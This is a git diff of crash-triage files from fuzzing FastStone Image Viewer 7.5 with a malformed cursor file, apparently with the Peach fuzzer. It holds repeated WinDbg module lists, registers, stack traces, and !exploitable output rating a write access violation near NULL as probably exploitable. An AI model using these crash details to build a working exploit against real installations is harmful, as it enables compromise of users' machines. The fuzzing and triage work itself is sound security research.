Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ce4.16a4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.10802e+037 -5.0116e-041 2.41637e+033 -1.99859e-033 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00298000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00298000 352236ef 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00298000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3baedd5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/WindowsDebugEngine_description.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ce4.16a4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.10802e+037 -5.0116e-041 2.41637e+033 -1.99859e-033 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00298000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00298000 352236ef 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00298000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a0e784e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..83b51d8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7b0f5f7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xAD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xAD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll 